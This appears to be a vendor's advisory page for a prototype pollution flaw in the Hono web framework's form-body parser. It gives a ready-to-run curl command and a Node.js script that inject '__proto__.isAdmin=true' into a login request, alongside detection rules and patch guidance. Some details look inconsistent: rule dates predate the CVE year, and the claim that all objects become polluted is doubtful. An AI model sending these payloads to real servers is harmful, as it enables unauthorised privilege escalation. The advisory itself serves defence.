CVE-2026-56763
Executive Summary
CVE-2026-56763 is a prototype pollution vulnerability in the Hono web framework (versions before 4.12.7). The flaw resides in the parseBody function when the dot option is enabled. An attacker can craft HTTP form field names containing __proto__ keys, which, when parsed and merged into JavaScript objects using unsafe patterns, can pollute the prototype chain. This can lead to unexpected object behavior, potentially enabling privilege escalation, denial of service, or further exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Hono npm package. Organizations using Hono in their Node.js or Bun applications should immediately audit their dependency trees for versions below 4.12.7. The attack vector is through HTTP POST requests with specially crafted form data, making it a critical supply chain risk for any application using Hono's body parsing with the dot option.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): None (N) – No direct data exposure.
- Integrity (I): High (H) – Prototype pollution can alter application logic.
- Availability (A): None (N) – No direct denial of service.
Threat Level: High (7.5) – Remote, unauthenticated prototype pollution with high integrity impact.
Deep Dive & Mechanics
The vulnerability exists in Hono's parseBody function when the dot option is enabled. This option allows parsing of nested form field names using dot notation (e.g., user.name). However, the parser does not sanitize __proto__ keys. When an attacker sends a form field like __proto__.polluted=true, the parser creates an object with a __proto__ property. If the application then merges this parsed object into another object using an unsafe merge pattern (e.g., Object.assign or spread operator without proper checks), the prototype chain of all objects can be polluted.
Attack Flow:
- Attacker sends a POST request with
Content-Type: application/x-www-form-urlencodedand body:__proto__.isAdmin=true. - Hono's
parseBodywithdot: truecreates{ __proto__: { isAdmin: true } }. - Application merges this into a configuration object:
Object.assign(config, parsedBody). - All objects now inherit
isAdmin: true, potentially granting admin privileges.
Vulnerable vs. Patched Code
Vulnerable Code (Hono < 4.12.7):
// parseBody with dot option enabled
function parseBody(body, options) {
const result = {};
// ... parsing logic ...
if (options.dot) {
// No check for __proto__ keys
setNestedProperty(result, key, value);
}
return result;
}
Patched Code (Hono >= 4.12.7):
// parseBody with dot option enabled
function parseBody(body, options) {
const result = {};
// ... parsing logic ...
if (options.dot) {
// Reject keys containing __proto__
if (key.includes('__proto__')) {
continue; // or throw error
}
setNestedProperty(result, key, value);
}
return result;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Hono < 4.12.7 with
parseBodyanddot: true. - Ability to send HTTP POST requests.
Exploit Steps:
- Identify a vulnerable endpoint that uses
parseBodywithdot: true. - Craft a POST request with form data containing
__proto__keys. - Observe the impact on application behavior.
Example Exploit (curl):
curl -X POST http://target.com/api/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "__proto__.isAdmin=true&username=attacker&password=test"
Advanced Exploit (Node.js):
const http = require('http');
const querystring = require('querystring');
const postData = querystring.stringify({
'__proto__.isAdmin': 'true',
'username': 'attacker',
'password': 'test'
});
const options = {
hostname: 'target.com',
port: 80,
path: '/api/login',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': Buffer.byteLength(postData)
}
};
const req = http.request(options, (res) => {
console.log(`Status: ${res.statusCode}`);
res.on('data', (chunk) => {
console.log(`Body: ${chunk}`);
});
});
req.write(postData);
req.end();
Blue Team
Detection:
- Monitor for POST requests with
__proto__in the body. - Look for unusual object property assignments in application logs.
- Use runtime protection (e.g.,
Object.freezeon prototypes).
Mitigation:
- Upgrade Hono to >= 4.12.7.
- Disable the
dotoption inparseBodyif not needed. - Implement input validation to reject
__proto__keys. - Use safe merge patterns (e.g.,
Object.assignwithnullprototype).
Indicators of Compromise (IOCs)
- Network: HTTP POST requests with
__proto__in form data. - Application Logs: Errors or warnings about unexpected prototype properties.
- System: Modified object prototypes (e.g.,
Object.prototype.isAdmin). - File System: No specific file IOCs.
Detection Engineering
YARA Rule
rule CVE_2026_56763_ProtoPollution {
meta:
description = "Detects prototype pollution attempts via __proto__ in HTTP form data"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-56763"
strings:
$proto = "__proto__"
$proto2 = "__proto__."
condition:
any of them
}
Sigma Rule
title: Prototype Pollution via __proto__ in HTTP Form Data
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests containing __proto__ in form data, indicating CVE-2026-56763 exploitation attempts.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '__proto__'
condition: selection
falsepositives:
- Legitimate use of __proto__ in non-vulnerable contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-56763 - Prototype Pollution via __proto__ in HTTP Form Data"; flow:to_server; http.method; content:"POST"; http.request_body; content:"__proto__"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Hono to version 4.12.7 or later.
- Short-term: Disable the
dotoption inparseBodyif not required. - Long-term: Implement input validation to reject
__proto__andconstructorkeys. - Runtime Protection: Use
Object.freeze(Object.prototype)to prevent prototype pollution. - Monitoring: Deploy the provided detection rules to identify exploitation attempts.
Valters IT – Securing the digital frontier, one CVE at a time.